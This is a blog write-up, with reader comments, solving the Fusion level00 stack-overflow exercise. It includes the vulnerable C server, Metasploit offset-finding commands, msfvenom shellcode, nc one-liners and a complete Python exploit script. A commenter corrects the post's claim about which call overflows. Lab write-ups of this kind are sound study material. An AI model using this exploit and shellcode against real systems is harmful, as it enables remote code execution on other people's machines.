#include "../common/common.c" int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; printf("[debug] buffer is at 0x%08x :-)\n", buffer); if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); path = &buffer[4]; q = strchr(path, ' '); if(! q) errx(0, "No protocol version specified"); *q++ = 0; if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); fix_path(path); printf("trying to access %s\n", path); return path; } int main(int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); parse_http_request(); }I initially had to read through the code a few times to figure out where the overflow was, to be quite honest. When an HTTP request comes in, it goes to the "parse_http_request" method. From there, it reads the buffer in by using the "read" method. Unfortunately for us, it is being careful to only read in as many bytes as it can put into the buffer. It then does some basic handling to parse out the request. It verifies that it was a "GET" request, and that it was done using HTTP/1.1. After that, it will pass the path of the URI to "fix_path". In this method, there IS an overflow, since the "resolved" variable has 128 bytes to hold data, but there is no checking of size when the "strcpy" is done.
I logged into the machine, and made sure that I could actually get a core dump to be created if the process had an exception. To do this, I changed the core settings for my user:
fusion@fusion:/$ ulimit -c unlimitedBased on my analysis, I knew I would be overflowing the URI path, but based on the note given to me, I would put my shellcode after the "HTTP/1.1" since there was a lot more room. However, I didn't know the EIP offset. So I generated a quick MSF pattern on another machine:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5AgI then started to wire up an exploit like so:
fusion@fusion:/$ perl -e 'print "GET /". "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000Note that the "\x99\xf9\xff\xbf" value was simply guessed by taking the buffer offset (conveniently given to us at runtime) of "0xbffff8f8", and adding to it enough bytes for the "GET", the MSF buffer, and the "HTTP/1.1". I had played previously by hand, and knew how long the buffer would be, so I didn't need to break this into 2 steps.
After executing the command, I found a handy "core" file in the root directory. So I loaded it up in GDB to get the offset:
fusion@fusion:/$ sudo gdb --core=/core --quiet [New LWP 2280] Core was generated by `/opt/fusion/bin/level00'. Program terminated with signal 11, Segmentation fault. #0 0x65413665 in ?? ()Next, I took that EIP value, and ran it through the MSF Pattern Offset calculator:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x65413665 139This was convenient enough to let me know that the first 139 bytes were junk, but then I had direct access to the EIP. If my estimate for a return address was close enough to hit a nop sled, it would then hit the "\xcc" debug/trace point. I then tested that:
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000When I loaded the new core file into GDB, I saw that it indeed hit the debug trap:
fusion@fusion:/$ sudo gdb --core=/core --quiet [New LWP 2310] Core was generated by `/opt/fusion/bin/level00'. Program terminated with signal 5, Trace/breakpoint trap. #0 0xbffff9fb in ?? () (gdb) x/10x $eip 0xbffff9fb: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xbffffa03: 0xcc 0xccThe next step was to generate some shellcode. I verified that the process was running as a UID of 20000, and not SUID, so I'm guessing at the end result here. The challenge to me was actually getting the exploit to work, so what the shellcode did was not a big event for me. I decided to just make it write a file to /tmp. This could however be adapted to anything else.
I used Metasploit's MSFVenom tool to generate me some shellcode to "touch /tmp/poo" as a test:
mandreko@li225-134:~$ msfvenom -p linux/x86/exec -f pl CMD="touch /tmp/poo" my $buf = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" . "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00" . "\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f" . "\x6f\x00\x57\x53\x89\xe1\xcd\x80";I then plugged that shellcode into my exploit:
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000 [debug] buffer is at 0xbffff8f8 :-)Lastly, I verified that it did run the shellcode:
fusion@fusion:/$ ls -al /tmp total 8 drwxrwxrwt 2 root root 4096 2012-04-09 21:25 . drwxr-xr-x 22 root root 4096 2012-04-09 21:22 .. -rw-r--r-- 1 20000 20000 0 2012-04-09 21:25 pooThere you have it, successful exploitation, using very basic methods. This one felt very much like the first day back from summer break, but I'm guessing it'll get much harder quickly.
UPDATE 5/7/2012: Added python exploit:
# Fusion Level 00 # http://exploit-exercises.com/fusion/level00 # Matt Andreko # twitter: @mandreko # contact: matt [at] mattandreko.com from sys import exit from struct import pack from optparse import OptionParser from socket import * def exploit(hostname, port): junk = "A"*139 ret = pack("<I", 0xbffff999) nops = "\x90"*100 shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80" s = socket(AF_INET, SOCK_STREAM) try: print "[*] Connecting to %s on port %s" % (hostname, port) s.connect((hostname, port)) except: print "[*] Connection error" exit(1) print s.recv(1024) s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode) if __name__ == "__main__": parser = OptionParser("usage: %prog [options]") parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to run against") parser.add_option("-p", "--port", dest="portnum", default=20000, type="int", help="Target port") (options, args) = parser.parse_args() exploit(options.hostname, options.portnum)
Very nice writeup. I was not aware Fusion was ready yet, that's what I get for not following exploitexercises on twitter :p. Congrats on the OSCP as well! Lovin the blog.
ReplyDeleteI wasn't either! I missed it somehow in my twitter feed, but g0tmi1k hit me up on IRC.
DeleteUnfortunately, my Fusion time will be limited until I actually complete the PWB course, so I can get my OSCP. No fun writing a report :(
Nice writeup and nice job with exploit-exercises.
ReplyDeleteOnly one thing, actually the overflow happens in realpath(path, resolved); instead in strcpy(path, resolved);. strcpy() copies data from resolved to path, and path can handle the 128 bytes from char resolved[128] without problem. But realpath() would expand path into resolved, so if path > resolved, you're overflowing resolved.
Matt, do you have any reading/tutorial recommendations for buffer overflows? I have done very well on the Nebula challenge but am failing on the Protostar and other buffer overflow techniques. If you need help with the Nebula challenge check out my blog http://chrismeyers.org
ReplyDeleteChris, I highly recommend Hacking The Art of Exploitation. I have the first edition, and it was extremely useful in making things click. I tried reading it years ago, and I just wasn't there, or didn't commit myself to it. Now, it just makes sense.
Deletehttp://amzn.to/yJ6vS4
Hi matt,
ReplyDeleteI've been trying to beat this level myself. Everything went fine until I got to the putting in the shellcode. (touch /tmp/poo)
Any ideas on how to fix it? The code is here.
http://pastebin.ubuntu.com/1078811/
thanks :)